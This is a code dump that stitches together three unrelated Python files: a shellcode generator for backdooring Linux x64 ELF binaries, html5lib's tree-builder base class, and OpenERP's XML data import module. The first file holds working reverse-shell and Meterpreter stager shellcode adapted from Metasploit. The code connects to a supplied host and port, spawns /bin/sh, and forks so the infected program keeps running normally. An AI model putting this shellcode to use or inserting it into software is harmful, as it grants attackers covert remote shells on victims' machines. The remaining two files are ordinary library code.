LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF
SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN
CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
POSSIBILITY OF SUCH DAMAGE.
'''
import struct
import sys
class linux_elfI64_shellcode():
"""
ELF Intel x64 shellcode class
"""
def __init__(self, HOST, PORT, e_entry, SUPPLIED_SHELLCODE=None):
#could take this out HOST/PORT and put into each shellcode function
self.HOST = HOST
self.PORT = PORT
self.e_entry = e_entry
self.SUPPLIED_SHELLCODE = SUPPLIED_SHELLCODE
self.shellcode = ""
def pack_ip_addresses(self):
hostocts = []
if self.HOST is None:
print "This shellcode requires a HOST parameter -H"
return False
for i, octet in enumerate(self.HOST.split('.')):
hostocts.append(int(octet))
self.hostip = struct.pack('=BBBB', hostocts[0], hostocts[1],
hostocts[2], hostocts[3])
return self.hostip
def returnshellcode(self):
return self.shellcode
def reverse_shell_tcp(self, flItms, CavesPicked={}):
"""
Modified from metasploit payload/linux/x64/shell_reverse_tcp
to correctly fork the shellcode payload and continue normal execution.
"""
if self.PORT is None:
print ("Must provide port")
return False
#64bit shellcode
self.shellcode1 = "\x6a\x39\x58\x0f\x05\x48\x85\xc0\x74\x0c"
self.shellcode1 += "\x48\xBD"
self.shellcode1 += struct.pack("<Q", self.e_entry)
self.shellcode1 += "\xff\xe5"
self.shellcode1 += ("\x6a\x29\x58\x99\x6a\x02\x5f\x6a\x01\x5e\x0f\x05"
"\x48\x97\x48\xb9\x02\x00")
self.shellcode1 += struct.pack("!H", self.PORT)
self.shellcode1 += self.pack_ip_addresses()
self.shellcode1 += ("\x51\x48\x89"
"\xe6\x6a\x10\x5a\x6a\x2a\x58\x0f\x05\x6a\x03\x5e\x48\xff\xce"
"\x6a\x21\x58\x0f\x05\x75\xf6\x6a\x3b\x58\x99\x48\xbb\x2f\x62"
"\x69\x6e\x2f\x73\x68\x00\x53\x48\x89\xe7\x52\x57\x48\x89\xe6"
"\x0f\x05")
self.shellcode = self.shellcode1
return (self.shellcode1)
def reverse_tcp_stager(self, flItms, CavesPicked={}):
"""
FOR USE WITH STAGER TCP PAYLOADS INCLUDING METERPRETER
Modified from metasploit payload/linux/x64/shell/reverse_tcp
to correctly fork the shellcode payload and continue normal execution.
"""
if self.PORT is None:
print ("Must provide port")
return False
#64bit shellcode
self.shellcode1 = "\x6a\x39\x58\x0f\x05\x48\x85\xc0\x74\x0c"
self.shellcode1 += "\x48\xBD"
self.shellcode1 += struct.pack("<Q", self.e_entry)
self.shellcode1 += "\xff\xe5"
self.shellcode1 += ("\x48\x31\xff\x6a\x09\x58\x99\xb6\x10\x48\x89\xd6\x4d\x31\xc9"
"\x6a\x22\x41\x5a\xb2\x07\x0f\x05\x56\x50\x6a\x29\x58\x99\x6a"
"\x02\x5f\x6a\x01\x5e\x0f\x05\x48\x97\x48\xb9\x02\x00")
self.shellcode1 += struct.pack("!H", self.PORT)
self.shellcode1 += self.pack_ip_addresses()
self.shellcode1 += ("\x51\x48\x89\xe6\x6a\x10\x5a\x6a\x2a\x58\x0f"
"\x05\x59\x5e\x5a\x0f\x05\xff\xe6")
self.shellcode = self.shellcode1
return (self.shellcode1)
def user_supplied_shellcode(self, flItms, CavesPicked={}):
"""
For user supplied shellcode
"""
if self.SUPPLIED_SHELLCODE is None:
print "[!] User must provide shellcode for this module (-U)"
return False
else:
supplied_shellcode = open(self.SUPPLIED_SHELLCODE, 'r+b').read()
#64bit shellcode
self.shellcode1 = "\x6a\x39\x58\x0f\x05\x48\x85\xc0\x74\x0c"
self.shellcode1 += "\x48\xBD"
self.shellcode1 += struct.pack("<Q", self.e_entry)
self.shellcode1 += "\xff\xe5"
self.shellcode1 += supplied_shellcode
self.shellcode = self.shellcode1
return (self.shellcode1)
| gpl-3.0 |
pathompongoo/ThGovJobApp | env/lib/python2.7/site-packages/pip/_vendor/html5lib/treebuilders/_base.py | 915 | 13711 | from __future__ import absolute_import, division, unicode_literals
from pip._vendor.six import text_type
from ..constants import scopingElements, tableInsertModeElements, namespaces
# The scope markers are inserted when entering object elements,
# marquees, table cells, and table captions, and are used to prevent formatting
# from "leaking" into tables, object elements, and marquees.
Marker = None
listElementsMap = {
None: (frozenset(scopingElements), False),
"button": (frozenset(scopingElements | set([(namespaces["html"], "button")])), False),
"list": (frozenset(scopingElements | set([(namespaces["html"], "ol"),
(namespaces["html"], "ul")])), False),
"table": (frozenset([(namespaces["html"], "html"),
(namespaces["html"], "table")]), False),
"select": (frozenset([(namespaces["html"], "optgroup"),
(namespaces["html"], "option")]), True)
}
class Node(object):
def __init__(self, name):
"""Node representing an item in the tree.
name - The tag name associated with the node
parent - The parent of the current node (or None for the document node)
value - The value of the current node (applies to text nodes and
comments
attributes - a dict holding name, value pairs for attributes of the node
childNodes - a list of child nodes of the current node. This must
include all elements but not necessarily other node types
_flags - A list of miscellaneous flags that can be set on the node
"""
self.name = name
self.parent = None
self.value = None
self.attributes = {}
self.childNodes = []
self._flags = []
def __str__(self):
attributesStr = " ".join(["%s=\"%s\"" % (name, value)
for name, value in
self.attributes.items()])
if attributesStr:
return "<%s %s>" % (self.name, attributesStr)
else:
return "<%s>" % (self.name)
def __repr__(self):
return "<%s>" % (self.name)
def appendChild(self, node):
"""Insert node as a child of the current node
"""
raise NotImplementedError
def insertText(self, data, insertBefore=None):
"""Insert data as text in the current node, positioned before the
start of node insertBefore or to the end of the node's text.
"""
raise NotImplementedError
def insertBefore(self, node, refNode):
"""Insert node as a child of the current node, before refNode in the
list of child nodes. Raises ValueError if refNode is not a child of
the current node"""
raise NotImplementedError
def removeChild(self, node):
"""Remove node from the children of the current node
"""
raise NotImplementedError
def reparentChildren(self, newParent):
"""Move all the children of the current node to newParent.
This is needed so that trees that don't store text as nodes move the
text in the correct way
"""
# XXX - should this method be made more general?
for child in self.childNodes:
newParent.appendChild(child)
self.childNodes = []
def cloneNode(self):
"""Return a shallow copy of the current node i.e. a node with the same
name and attributes but with no parent or child nodes
"""
raise NotImplementedError
def hasContent(self):
"""Return true if the node has children or text, false otherwise
"""
raise NotImplementedError
class ActiveFormattingElements(list):
def append(self, node):
equalCount = 0
if node != Marker:
for element in self[::-1]:
if element == Marker:
break
if self.nodesEqual(element, node):
equalCount += 1
if equalCount == 3:
self.remove(element)
break
list.append(self, node)
def nodesEqual(self, node1, node2):
if not node1.nameTuple == node2.nameTuple:
return False
if not node1.attributes == node2.attributes:
return False
return True
class TreeBuilder(object):
"""Base treebuilder implementation
documentClass - the class to use for the bottommost node of a document
elementClass - the class to use for HTML Elements
commentClass - the class to use for comments
doctypeClass - the class to use for doctypes
"""
# Document class
documentClass = None
# The class to use for creating a node
elementClass = None
# The class to use for creating comments
commentClass = None
# The class to use for creating doctypes
doctypeClass = None
# Fragment class
fragmentClass = None
def __init__(self, namespaceHTMLElements):
if namespaceHTMLElements:
self.defaultNamespace = "http://www.w3.org/1999/xhtml"
else:
self.defaultNamespace = None
self.reset()
def reset(self):
self.openElements = []
self.activeFormattingElements = ActiveFormattingElements()
# XXX - rename these to headElement, formElement
self.headPointer = None
self.formPointer = None
self.insertFromTable = False
self.document = self.documentClass()
def elementInScope(self, target, variant=None):
# If we pass a node in we match that. if we pass a string
# match any node with that name
exactNode = hasattr(target, "nameTuple")
listElements, invert = listElementsMap[variant]
for node in reversed(self.openElements):
if (node.name == target and not exactNode or
node == target and exactNode):
return True
elif (invert ^ (node.nameTuple in listElements)):
return False
assert False # We should never reach this point
def reconstructActiveFormattingElements(self):
# Within this algorithm the order of steps described in the
# specification is not quite the same as the order of steps in the
# code. It should still do the same though.
# Step 1: stop the algorithm when there's nothing to do.
if not self.activeFormattingElements:
return
# Step 2 and step 3: we start with the last element. So i is -1.
i = len(self.activeFormattingElements) - 1
entry = self.activeFormattingElements[i]
if entry == Marker or entry in self.openElements:
return
# Step 6
while entry != Marker and entry not in self.openElements:
if i == 0:
# This will be reset to 0 below
i = -1
break
i -= 1
# Step 5: let entry be one earlier in the list.
entry = self.activeFormattingElements[i]
while True:
# Step 7
i += 1
# Step 8
entry = self.activeFormattingElements[i]
clone = entry.cloneNode() # Mainly to get a new copy of the attributes
# Step 9
element = self.insertElement({"type": "StartTag",
"name": clone.name,
"namespace": clone.namespace,
"data": clone.attributes})
# Step 10
self.activeFormattingElements[i] = element
# Step 11
if element == self.activeFormattingElements[-1]:
break
def clearActiveFormattingElements(self):
entry = self.activeFormattingElements.pop()
while self.activeFormattingElements and entry != Marker:
entry = self.activeFormattingElements.pop()
def elementInActiveFormattingElements(self, name):
"""Check if an element exists between the end of the active
formatting elements and the last marker. If it does, return it, else
return false"""
for item in self.activeFormattingElements[::-1]:
# Check for Marker first because if it's a Marker it doesn't have a
# name attribute.
if item == Marker:
break
elif item.name == name:
return item
return False
def insertRoot(self, token):
element = self.createElement(token)
self.openElements.append(element)
self.document.appendChild(element)
def insertDoctype(self, token):
name = token["name"]
publicId = token["publicId"]
systemId = token["systemId"]
doctype = self.doctypeClass(name, publicId, systemId)
self.document.appendChild(doctype)
def insertComment(self, token, parent=None):
if parent is None:
parent = self.openElements[-1]
parent.appendChild(self.commentClass(token["data"]))
def createElement(self, token):
"""Create an element but don't insert it anywhere"""
name = token["name"]
namespace = token.get("namespace", self.defaultNamespace)
element = self.elementClass(name, namespace)
element.attributes = token["data"]
return element
def _getInsertFromTable(self):
return self._insertFromTable
def _setInsertFromTable(self, value):
"""Switch the function used to insert an element from the
normal one to the misnested table one and back again"""
self._insertFromTable = value
if value:
self.insertElement = self.insertElementTable
else:
self.insertElement = self.insertElementNormal
insertFromTable = property(_getInsertFromTable, _setInsertFromTable)
def insertElementNormal(self, token):
name = token["name"]
assert isinstance(name, text_type), "Element %s not unicode" % name
namespace = token.get("namespace", self.defaultNamespace)
element = self.elementClass(name, namespace)
element.attributes = token["data"]
self.openElements[-1].appendChild(element)
self.openElements.append(element)
return element
def insertElementTable(self, token):
"""Create an element and insert it into the tree"""
element = self.createElement(token)
if self.openElements[-1].name not in tableInsertModeElements:
return self.insertElementNormal(token)
else:
# We should be in the InTable mode. This means we want to do
# special magic element rearranging
parent, insertBefore = self.getTableMisnestedNodePosition()
if insertBefore is None:
parent.appendChild(element)
else:
parent.insertBefore(element, insertBefore)
self.openElements.append(element)
return element
def insertText(self, data, parent=None):
"""Insert text data."""
if parent is None:
parent = self.openElements[-1]
if (not self.insertFromTable or (self.insertFromTable and
self.openElements[-1].name
not in tableInsertModeElements)):
parent.insertText(data)
else:
# We should be in the InTable mode. This means we want to do
# special magic element rearranging
parent, insertBefore = self.getTableMisnestedNodePosition()
parent.insertText(data, insertBefore)
def getTableMisnestedNodePosition(self):
"""Get the foster parent element, and sibling to insert before
(or None) when inserting a misnested table node"""
# The foster parent element is the one which comes before the most
# recently opened table element
# XXX - this is really inelegant
lastTable = None
fosterParent = None
insertBefore = None
for elm in self.openElements[::-1]:
if elm.name == "table":
lastTable = elm
break
if lastTable:
# XXX - we should really check that this parent is actually a
# node here
if lastTable.parent:
fosterParent = lastTable.parent
insertBefore = lastTable
else:
fosterParent = self.openElements[
self.openElements.index(lastTable) - 1]
else:
fosterParent = self.openElements[0]
return fosterParent, insertBefore
def generateImpliedEndTags(self, exclude=None):
name = self.openElements[-1].name
# XXX td, th and tr are not actually needed
if (name in frozenset(("dd", "dt", "li", "option", "optgroup", "p", "rp", "rt"))
and name != exclude):
self.openElements.pop()
# XXX This is not entirely what the specification says. We should
# investigate it more closely.
self.generateImpliedEndTags(exclude)
def getDocument(self):
"Return the final tree"
return self.document
def getFragment(self):
"Return the final fragment"
# assert self.innerHTML
fragment = self.fragmentClass()
self.openElements[0].reparentChildren(fragment)
return fragment
def testSerializer(self, node):
"""Serialize the subtree of node in the format required by unit tests
node - the node from which to start serializing"""
raise NotImplementedError
| gpl-3.0 |
cgstudiomap/cgstudiomap | main/parts/odoo/openerp/tools/convert.py | 205 | 41282 | # -*- coding: utf-8 -*-
##############################################################################
#
# OpenERP, Open Source Management Solution
# Copyright (C) 2004-2009 Tiny SPRL (<http://tiny.be>).
#
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU Affero General Public License as
# published by the Free Software Foundation, either version 3 of the
# License, or (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU Affero General Public License for more details.
#
# You should have received a copy of the GNU Affero General Public License
# along with this program. If not, see <http://www.gnu.org/licenses/>.
#
##############################################################################
import cStringIO
import csv
import logging
import os.path
import pickle
import re
import sys
# for eval context:
import time
import openerp
import openerp.release
import openerp.workflow
from yaml_import import convert_yaml_import
import assertion_report
_logger = logging.getLogger(__name__)
try:
import pytz
except:
_logger.warning('could not find pytz library, please install it')
class pytzclass(object):
all_timezones=[]
pytz=pytzclass()
from datetime import datetime, timedelta
from dateutil.relativedelta import relativedelta
from lxml import etree, builder
import misc
from config import config
from translate import _
# List of etree._Element subclasses that we choose to ignore when parsing XML.
from misc import SKIPPED_ELEMENT_TYPES
from misc import unquote
from openerp import SUPERUSER_ID
# Import of XML records requires the unsafe eval as well,
# almost everywhere, which is ok because it supposedly comes
# from trusted data, but at least we make it obvious now.
unsafe_eval = eval
from safe_eval import safe_eval as eval
class ParseError(Exception):
def __init__(self, msg, text, filename, lineno):
self.msg = msg
self.text = text
self.filename = filename
self.lineno = lineno
def __str__(self):
return '"%s" while parsing %s:%s, near\n%s' \
% (self.msg, self.filename, self.lineno, self.text)
def _ref(self, cr):
return lambda x: self.id_get(cr, x)
def _obj(pool, cr, uid, model_str, context=None):
model = pool[model_str]
return lambda x: model.browse(cr, uid, x, context=context)
def _get_idref(self, cr, uid, model_str, context, idref):
idref2 = dict(idref,
time=time,
DateTime=datetime,
datetime=datetime,
timedelta=timedelta,
relativedelta=relativedelta,
version=openerp.release.major_version,
ref=_ref(self, cr),
pytz=pytz)
if len(model_str):
idref2['obj'] = _obj(self.pool, cr, uid, model_str, context=context)
return idref2
def _fix_multiple_roots(node):
"""
Surround the children of the ``node`` element of an XML field with a
single root "data" element, to prevent having a document with multiple
roots once parsed separately.
XML nodes should have one root only, but we'd like to support
direct multiple roots in our partial documents (like inherited view architectures).
As a convention we'll surround multiple root with a container "data" element, to be
ignored later when parsing.
"""
real_nodes = [x for x in node if not isinstance(x, SKIPPED_ELEMENT_TYPES)]
if len(real_nodes) > 1:
data_node = etree.Element("data")
for child in node:
data_node.append(child)
node.append(data_node)
def _eval_xml(self, node, pool, cr, uid, idref, context=None):
if context is None:
context = {}
if node.tag in ('field','value'):
t = node.get('type','char')
f_model = node.get('model', '').encode('utf-8')
if node.get('search'):
f_search = node.get("search",'').encode('utf-8')
f_use = node.get("use",'id').encode('utf-8')
f_name = node.get("name",'').encode('utf-8')
idref2 = {}
if f_search:
idref2 = _get_idref(self, cr, uid, f_model, context, idref)
q = unsafe_eval(f_search, idref2)
ids = pool[f_model].search(cr, uid, q)
if f_use != 'id':
ids = map(lambda x: x[f_use], pool[f_model].read(cr, uid, ids, [f_use]))
_cols = pool[f_model]._columns
if (f_name in _cols) and _cols[f_name]._type=='many2many':
return ids
f_val = False
if len(ids):
f_val = ids[0]
if isinstance(f_val, tuple):
f_val = f_val[0]
return f_val
a_eval = node.get('eval','')
if a_eval:
idref2 = _get_idref(self, cr, uid, f_model, context, idref)
try:
return unsafe_eval(a_eval, idref2)
except Exception:
logging.getLogger('openerp.tools.convert.init').error(
'Could not eval(%s) for %s in %s', a_eval, node.get('name'), context)
raise
def _process(s, idref):
matches = re.finditer('[^%]%\((.*?)\)[ds]', s)
done = []
for m in matches:
found = m.group()[1:]
if found in done:
continue
done.append(found)
id = m.groups()[0]
if not id in idref:
idref[id] = self.id_get(cr, id)
s = s.replace(found, str(idref[id]))
s = s.replace('%%', '%') # Quite wierd but it's for (somewhat) backward compatibility sake
return s
if t == 'xml':
_fix_multiple_roots(node)
return '<?xml version="1.0"?>\n'\
+_process("".join([etree.tostring(n, encoding='utf-8')
for n in node]), idref)
if t == 'html':
return _process("".join([etree.tostring(n, encoding='utf-8')
for n in node]), idref)
data = node.text
if node.get('file'):
with openerp.tools.file_open(node.get('file'), 'rb') as f:
data = f.read()
if t == 'file':
from ..modules import module
path = data.strip()
if not module.get_module_resource(self.module, path):
raise IOError("No such file or directory: '%s' in %s" % (
path, self.module))
return '%s,%s' % (self.module, path)
if t == 'char':
return data
if t == 'base64':
return data.encode('base64')
if t == 'int':
d = data.strip()
if d == 'None':
return None
return int(d)
if t == 'float':
return float(data.strip())
if t in ('list','tuple'):
res=[]
for n in node.iterchildren(tag='value'):
res.append(_eval_xml(self,n,pool,cr,uid,idref))
if t=='tuple':
return tuple(res)
return res
elif node.tag == "function":
args = []
a_eval = node.get('eval','')
# FIXME: should probably be exclusive
if a_eval:
idref['ref'] = lambda x: self.id_get(cr, x)
args = unsafe_eval(a_eval, idref)
for n in node:
return_val = _eval_xml(self,n, pool, cr, uid, idref, context)
if return_val is not None:
args.append(return_val)
model = pool[node.get('model', '')]
method = node.get('name')
res = getattr(model, method)(cr, uid, *args)
return res
elif node.tag == "test":
return node.text
escape_re = re.compile(r'(?<!\\)/')
def escape(x):
return x.replace('\\/', '/')
class xml_import(object):
@staticmethod
def nodeattr2bool(node, attr, default=False):
if not node.get(attr):
return default
val = node.get(attr).strip()
if not val:
return default
return val.lower() not in ('0', 'false', 'off')
def isnoupdate(self, data_node=None):
return self.noupdate or (len(data_node) and self.nodeattr2bool(data_node, 'noupdate', False))
def get_context(self, data_node, node, eval_dict):
data_node_context = (len(data_node) and data_node.get('context','').encode('utf8'))
node_context = node.get("context",'').encode('utf8')
context = {}
for ctx in (data_node_context, node_context):
if ctx:
try:
ctx_res = unsafe_eval(ctx, eval_dict)
if isinstance(context, dict):
context.update(ctx_res)
else:
context = ctx_res
except NameError:
# Some contexts contain references that are only valid at runtime at
# client-side, so in that case we keep the original context string
# as it is. We also log it, just in case.
context = ctx
_logger.debug('Context value (%s) for element with id "%s" or its data node does not parse '\
'at server-side, keeping original string, in case it\'s meant for client side only',
ctx, node.get('id','n/a'), exc_info=True)
return context
def get_uid(self, cr, uid, data_node, node):
node_uid = node.get('uid','') or (len(data_node) and data_node.get('uid',''))
if node_uid:
return self.id_get(cr, node_uid)
return uid
def _test_xml_id(self, xml_id):
id = xml_id
if '.' in xml_id:
module, id = xml_id.split('.', 1)
assert '.' not in id, """The ID reference "%s" must contain
maximum one dot. They are used to refer to other modules ID, in the
form: module.record_id""" % (xml_id,)
if module != self.module:
modcnt = self.pool['ir.module.module'].search_count(self.cr, self.uid, ['&', ('name', '=', module), ('state', 'in', ['installed'])])
assert modcnt == 1, """The ID "%s" refers to an uninstalled module""" % (xml_id,)
if len(id) > 64:
_logger.error('id: %s is to long (max: 64)', id)
def _tag_delete(self, cr, rec, data_node=None, mode=None):
d_model = rec.get("model")
d_search = rec.get("search",'').encode('utf-8')
d_id = rec.get("id")
ids = []
if d_search:
idref = _get_idref(self, cr, self.uid, d_model, context={}, idref={})
try:
ids = self.pool[d_model].search(cr, self.uid, unsafe_eval(d_search, idref))
except ValueError:
_logger.warning('Skipping deletion for failed search `%r`', d_search, exc_info=True)
pass
if d_id:
try:
ids.append(self.id_get(cr, d_id))
except ValueError:
# d_id cannot be found. doesn't matter in this case
_logger.warning('Skipping deletion for missing XML ID `%r`', d_id, exc_info=True)
pass
if ids:
self.pool[d_model].unlink(cr, self.uid, ids)
def _remove_ir_values(self, cr, name, value, model):
ir_values_obj = self.pool['ir.values']
ir_value_ids = ir_values_obj.search(cr, self.uid, [('name','=',name),('value','=',value),('model','=',model)])
if ir_value_ids:
ir_values_obj.unlink(cr, self.uid, ir_value_ids)
return True
def _tag_report(self, cr, rec, data_node=None, mode=None):
res = {}
for dest,f in (('name','string'),('model','model'),('report_name','name')):
res[dest] = rec.get(f,'').encode('utf8')
assert res[dest], "Attribute %s of report is empty !" % (f,)
for field,dest in (('rml','report_rml'),('file','report_rml'),('xml','report_xml'),('xsl','report_xsl'),
('attachment','attachment'),('attachment_use','attachment_use'), ('usage','usage'),
('report_type', 'report_type'), ('parser', 'parser')):
if rec.get(field):
res[dest] = rec.get(field).encode('utf8')
if rec.get('auto'):
res['auto'] = eval(rec.get('auto','False'))
if rec.get('sxw'):
sxw_content = misc.file_open(rec.get('sxw')).read()
res['report_sxw_content'] = sxw_content
if rec.get('header'):
res['header'] = eval(rec.get('header','False'))
res['multi'] = rec.get('multi') and eval(rec.get('multi','False'))
xml_id = rec.get('id','').encode('utf8')
self._test_xml_id(xml_id)
if rec.get('groups'):
g_names = rec.get('groups','').split(',')
groups_value = []
for group in g_names:
if group.startswith('-'):
group_id = self.id_get(cr, group[1:])
groups_value.append((3, group_id))
else:
group_id = self.id_get(cr, group)
groups_value.append((4, group_id))
res['groups_id'] = groups_value
id = self.pool['ir.model.data']._update(cr, self.uid, "ir.actions.report.xml", self.module, res, xml_id, noupdate=self.isnoupdate(data_node), mode=self.mode)
self.idref[xml_id] = int(id)
if not rec.get('menu') or eval(rec.get('menu','False')):
keyword = str(rec.get('keyword', 'client_print_multi'))
value = 'ir.actions.report.xml,'+str(id)
replace = rec.get('replace', True)
self.pool['ir.model.data'].ir_set(cr, self.uid, 'action', keyword, res['name'], [res['model']], value, replace=replace, isobject=True, xml_id=xml_id)
elif self.mode=='update' and eval(rec.get('menu','False'))==False:
# Special check for report having attribute menu=False on update
value = 'ir.actions.report.xml,'+str(id)
self._remove_ir_values(cr, res['name'], value, res['model'])
return id
def _tag_function(self, cr, rec, data_node=None, mode=None):
if self.isnoupdate(data_node) and self.mode != 'init':
return
context = self.get_context(data_node, rec, {'ref': _ref(self, cr)})
uid = self.get_uid(cr, self.uid, data_node, rec)
_eval_xml(self,rec, self.pool, cr, uid, self.idref, context=context)
return
def _tag_url(self, cr, rec, data_node=None, mode=None):
url = rec.get("url",'').encode('utf8')
target = rec.get("target",'').encode('utf8')
name = rec.get("name",'').encode('utf8')
xml_id = rec.get('id','').encode('utf8')
self._test_xml_id(xml_id)
res = {'name': name, 'url': url, 'target':target}
id = self.pool['ir.model.data']._update(cr, self.uid, "ir.actions.act_url", self.module, res, xml_id, noupdate=self.isnoupdate(data_node), mode=self.mode)
self.idref[xml_id] = int(id)
def _tag_act_window(self, cr, rec, data_node=None, mode=None):
name = rec.get('name','').encode('utf-8')
xml_id = rec.get('id','').encode('utf8')
self._test_xml_id(xml_id)
type = rec.get('type','').encode('utf-8') or 'ir.actions.act_window'
view_id = False
if rec.get('view_id'):
view_id = self.id_get(cr, rec.get('view_id','').encode('utf-8'))
domain = rec.get('domain','').encode('utf-8') or '[]'
res_model = rec.get('res_model','').encode('utf-8')
src_model = rec.get('src_model','').encode('utf-8')
view_type = rec.get('view_type','').encode('utf-8') or 'form'
view_mode = rec.get('view_mode','').encode('utf-8') or 'tree,form'
usage = rec.get('usage','').encode('utf-8')
limit = rec.get('limit','').encode('utf-8')
auto_refresh = rec.get('auto_refresh','').encode('utf-8')
uid = self.uid
# Act_window's 'domain' and 'context' contain mostly literals
# but they can also refer to the variables provided below
# in eval_context, so we need to eval() them before storing.
# Among the context variables, 'active_id' refers to
# the currently selected items in a list view, and only
# takes meaning at runtime on the client side. For this
# reason it must remain a bare variable in domain and context,
# even after eval() at server-side. We use the special 'unquote'
# class to achieve this effect: a string which has itself, unquoted,
# as representation.
active_id = unquote("active_id")
active_ids = unquote("active_ids")
active_model = unquote("active_model")
def ref(str_id):
return self.id_get(cr, str_id)
# Include all locals() in eval_context, for backwards compatibility
eval_context = {
'name': name,
'xml_id': xml_id,
'type': type,
'view_id': view_id,
'domain': domain,
'res_model': res_model,
'src_model': src_model,
'view_type': view_type,
'view_mode': view_mode,
'usage': usage,
'limit': limit,
'auto_refresh': auto_refresh,
'uid' : uid,
'active_id': active_id,
'active_ids': active_ids,
'active_model': active_model,
'ref' : ref,
}
context = self.get_context(data_node, rec, eval_context)
try:
domain = unsafe_eval(domain, eval_context)
except NameError:
# Some domains contain references that are only valid at runtime at
# client-side, so in that case we keep the original domain string
# as it is. We also log it, just in case.
_logger.debug('Domain value (%s) for element with id "%s" does not parse '\
'at server-side, keeping original string, in case it\'s meant for client side only',
domain, xml_id or 'n/a', exc_info=True)
res = {
'name': name,
'type': type,
'view_id': view_id,
'domain': domain,
'context': context,
'res_model': res_model,
'src_model': src_model,
'view_type': view_type,
'view_mode': view_mode,
'usage': usage,
'limit': limit,
'auto_refresh': auto_refresh,
}
if rec.get('groups'):
g_names = rec.get('groups','').split(',')
groups_value = []
for group in g_names:
if group.startswith('-'):
group_id = self.id_get(cr, group[1:])
groups_value.append((3, group_id))
else:
group_id = self.id_get(cr, group)
groups_value.append((4, group_id))
res['groups_id'] = groups_value
if rec.get('target'):
res['target'] = rec.get('target','')
if rec.get('multi'):
res['multi'] = eval(rec.get('multi', 'False'))
id = self.pool['ir.model.data']._update(cr, self.uid, 'ir.actions.act_window', self.module, res, xml_id, noupdate=self.isnoupdate(data_node), mode=self.mode)
self.idref[xml_id] = int(id)
if src_model:
#keyword = 'client_action_relate'
keyword = rec.get('key2','').encode('utf-8') or 'client_action_relate'
value = 'ir.actions.act_window,'+str(id)
replace = rec.get('replace','') or True
self.pool['ir.model.data'].ir_set(cr, self.uid, 'action', keyword, xml_id, [src_model], value, replace=replace, isobject=True, xml_id=xml_id)
# TODO add remove ir.model.data
def _tag_ir_set(self, cr, rec, data_node=None, mode=None):
if self.mode != 'init':
return
res = {}
for field in rec.findall('./field'):
f_name = field.get("name",'').encode('utf-8')
f_val = _eval_xml(self,field,self.pool, cr, self.uid, self.idref)
res[f_name] = f_val
self.pool['ir.model.data'].ir_set(cr, self.uid, res['key'], res['key2'], res['name'], res['models'], res['value'], replace=res.get('replace',True), isobject=res.get('isobject', False), meta=res.get('meta',None))
def _tag_workflow(self, cr, rec, data_node=None, mode=None):
if self.isnoupdate(data_node) and self.mode != 'init':
return
model = rec.get('model').encode('ascii')
w_ref = rec.get('ref')
if w_ref:
id = self.id_get(cr, w_ref)
else:
number_children = len(rec)
assert number_children > 0,\
'You must define a child node if you dont give a ref'
assert number_children == 1,\
'Only one child node is accepted (%d given)' % number_children
id = _eval_xml(self, rec[0], self.pool, cr, self.uid, self.idref)
uid = self.get_uid(cr, self.uid, data_node, rec)
openerp.workflow.trg_validate(
uid, model, id, rec.get('action').encode('ascii'), cr)
#
# Support two types of notation:
# name="Inventory Control/Sending Goods"
# or
# action="action_id"
# parent="parent_id"
#
def _tag_menuitem(self, cr, rec, data_node=None, mode=None):
rec_id = rec.get("id",'').encode('ascii')
self._test_xml_id(rec_id)
m_l = map(escape, escape_re.split(rec.get("name",'').encode('utf8')))
values = {'parent_id': False}
if rec.get('parent', False) is False and len(m_l) > 1:
# No parent attribute specified and the menu name has several menu components,
# try to determine the ID of the parent according to menu path
pid = False
res = None
values['name'] = m_l[-1]
m_l = m_l[:-1] # last part is our name, not a parent
for idx, menu_elem in enumerate(m_l):
if pid:
cr.execute('select id from ir_ui_menu where parent_id=%s and name=%s', (pid, menu_elem))
else:
cr.execute('select id from ir_ui_menu where parent_id is null and name=%s', (menu_elem,))
res = cr.fetchone()
if res:
pid = res[0]
else:
# the menuitem does't exist but we are in branch (not a leaf)
_logger.warning('Warning no ID for submenu %s of menu %s !', menu_elem, str(m_l))
pid = self.pool['ir.ui.menu'].create(cr, self.uid, {'parent_id' : pid, 'name' : menu_elem})
values['parent_id'] = pid
else:
# The parent attribute was specified, if non-empty determine its ID, otherwise
# explicitly make a top-level menu
if rec.get('parent'):
menu_parent_id = self.id_get(cr, rec.get('parent',''))
else:
# we get here with <menuitem parent="">, explicit clear of parent, or
# if no parent attribute at all but menu name is not a menu path
menu_parent_id = False
values = {'parent_id': menu_parent_id}
if rec.get('name'):
values['name'] = rec.get('name')
try:
res = [ self.id_get(cr, rec.get('id','')) ]
except:
res = None
if rec.get('action'):
a_action = rec.get('action','').encode('utf8')
# determine the type of action
action_type, action_id = self.model_id_get(cr, a_action)
action_type = action_type.split('.')[-1] # keep only type part
if not values.get('name') and action_type in ('act_window', 'wizard', 'url', 'client', 'server'):
a_table = 'ir_act_%s' % action_type.replace('act_', '')
cr.execute('select name from "%s" where id=%%s' % a_table, (int(action_id),))
resw = cr.fetchone()
if resw:
values['name'] = resw[0]
if not values.get('name'):
# ensure menu has a name
values['name'] = rec_id or '?'
if rec.get('sequence'):
values['sequence'] = int(rec.get('sequence'))
if rec.get('groups'):
g_names = rec.get('groups','').split(',')
groups_value = []
for group in g_names:
if group.startswith('-'):
group_id = self.id_get(cr, group[1:])
groups_value.append((3, group_id))
else:
group_id = self.id_get(cr, group)
groups_value.append((4, group_id))
values['groups_id'] = groups_value
pid = self.pool['ir.model.data']._update(cr, self.uid, 'ir.ui.menu', self.module, values, rec_id, noupdate=self.isnoupdate(data_node), mode=self.mode, res_id=res and res[0] or False)
if rec_id and pid:
self.idref[rec_id] = int(pid)
if rec.get('action') and pid:
action = "ir.actions.%s,%d" % (action_type, action_id)
self.pool['ir.model.data'].ir_set(cr, self.uid, 'action', 'tree_but_open', 'Menuitem', [('ir.ui.menu', int(pid))], action, True, True, xml_id=rec_id)
return 'ir.ui.menu', pid
